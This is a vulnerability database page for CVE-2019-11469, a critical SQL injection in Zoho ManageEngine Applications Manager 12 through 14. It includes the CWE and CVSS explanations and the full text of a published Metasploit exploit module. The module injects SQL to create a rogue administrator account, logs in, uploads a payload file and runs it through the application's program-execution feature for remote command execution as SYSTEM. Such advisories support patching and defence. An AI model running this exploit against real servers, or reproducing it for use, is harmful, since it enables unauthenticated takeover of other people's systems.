CVE-2019-11469 : Detail

CVE-2019-11469

9.8
/
Critical
SQL Injection
A03-Injection
7.43%V4
Network
2019-04-23
01h12 +00:00
2019-04-25
15h11 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Zoho ManageEngine Applications Manager 12 through 14 allows FaultTemplateOptions.jsp resourceid SQL injection. Subsequently, an unauthenticated user can gain the authority of SYSTEM on the server by uploading a malicious file via the "Execute Program Action(s)" feature.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46740

Publication date : 2019-04-21 22h00 +00:00
Author : AkkuS
EDB Verified : No

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Applications Manager < 14.0 - Authentication Bypass / Remote Command Execution", 'Description' => %q( This module exploits sqli and command injection vulnerability in the ManageEngine AM 14 and prior versions. It is completely different from the previous EDB-ID:46725 exploit. Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides authentication bypass. Therefore an unauthenticated user can gain the authority of "system" on the server. It uploads malicious file using the "Execute Program Action(s)" feature of the app with the new admin account. Tested: Applications Manager 14 on Linux 64-bit (PostgreSQL) Applications Manager 14 on Windows 10 64-bit (MSSQL) Applications Manager 14 on Windows 10 64-bit (PostgreSQL) Applications Manager 13 on Windows Server 2012 R2 64-bit (MSSQL) Applications Manager 12 on Windows Server 2012 R2 64-bit (PostgreSQL) ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/ManageEngine-App-Manager-14-Auth-Bypass-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, # countermeasure 'RPORT' => 8443, 'SSL' => true }, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['unix', 'win', 'linux'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix','linux'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby python', } } } ] ], 'DisclosureDate' => '22 April 2019', 'DefaultTarget' => 1)) register_options( [ OptString.new('TARGETURI', [true, 'The path of ME', '/']) ],self.class) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def exec(action) # operation of malicious file. The end of the adventure :( send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'), 'cookie' => @cookie, 'vars_get' => { 'method' => 'testAction', 'actionID' => action, 'haid' => 'null' } ) end ## # platform check ## def check_platform # First touch to support of execute program ;) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'showTile.do'), 'cookie' => @cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') # Platform can be discovered precisely using an application dir. @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] # It will be recalled later if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') end file_up(platform, @dir) end ## # Creating and sending malicious files ## def file_up(platform, dir) # specifying an extension by platform if platform == Msf::Module::Platform::Windows filex = ".bat" else if payload.encoded =~ /sh/ filex = ".sh" elsif payload.encoded =~ /perl/ filex = ".pl" elsif payload.encoded =~ /python/ filex = ".py" elsif payload.encoded =~ /ruby/ filex = ".rb" else fail_with(Failure::Unknown, 'Payload type could not be checked!') end end @fname= rand_text_alpha(9 + rand(3)) + filex data = Rex::MIME::Message.new data.add_part('./', nil, nil, 'form-data; name="uploadDir"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") res = send_request_cgi({ 'method' => 'POST', 'data' => data.to_s, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => @cookie, 'uri' => normalize_uri(target_uri, "Upload.do") }) if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control print_good("#{@fname} malicious file has been uploaded.") create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O else fail_with(Failure::Unknown, 'The file could not be uploaded!') end end def create_exec_prog(dir, fname) @display = rand_text_alphanumeric(7) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'adminAction.do'), 'cookie' => @cookie, 'vars_post' => { 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', 'method' => 'createExecProgAction', 'id' => 0, 'displayname' => @display, 'serversite' => 'local', 'choosehost' => -2, 'abortafter' => 5, # I think it would be enough for once. But I gave 5 O_o 'command' => fname, 'execProgExecDir' => dir, 'cancel' => 'false' } ) if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control # Find actionID simply from body res actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] print_status("Transactions completed. Attempting to get a session...") exec(actionid) else fail_with(Failure::Unreachable, 'Connection error occurred!') end end ## # Check all ## def check # Instead of detecting the database type, we can guarantee the vuln by sending a separate query to both. # The platform can be linux and possible remotely connected to the MSSQL database. # In the same way platform can be windows and postgresql can be used. # Thats why we are sending two queries. We will check the platform inside. @uname = Rex::Text.rand_text_alpha_lower(6) uid = rand_text_numeric(3) apk = rand_text_numeric(6) @pwd = rand_text_alphanumeric(8+rand(9)) # MSSQL injection should be prepared with ASCII characters. # Map and join can be used for this. @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" # "ADMIN" CHARs - should not be random # PostgreSQL injection query // no need APIKEY pg_user ="" pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+" pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);" pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+" # MSSQL injection query ms_user ="" ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR}," ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});" ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--" # Send SQL queries to both types of database(PostreSQL,MSSQL) with SQLi vuln.. use_sqli(ms_user, pg_user) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) # If the user we sent with queries was created, the login will be successful with new admin user. if res && res.code == 200 && res.body.include?('.loginDiv') # css control makes more sense. The application language may not be English. @cookie = res.get_cookies res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'j_security_check'), 'cookie' => @cookie, 'vars_post' => { 'clienttype' => 'html', 'j_username' => @uname, 'j_password' => @pwd } ) if res && res.code == 302 && res.body.include?('Redirecting to') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), 'cookie' => @cookie ) @cookie = res.get_cookies # last cookie return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Safe end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end print_good("Excellent! Logged in as #{@uname}") print_status("Admin Username => #{@uname}") print_status("Admin Password => #{@pwd}") check_platform # Start the adventure end ## # Communication with the database ## def use_sqli(mssql, postgresql) # two different post data must be sent. # Because the query structures are different. send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'), 'vars_post' => { 'resourceid' => mssql } ) # important to send the +/$ characters clear send_request_cgi( { 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'), 'data' => "resourceid=#{postgresql}" }, 25) end end ## # The end of the codes (o_O) // AkkuS ##

Products Mentioned

Configuraton 0

Zohocorp>>Manageengine_applications_manager >> Version From (including) 12.0 To (including) 14.0

References

https://www.exploit-db.com/exploits/46740/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.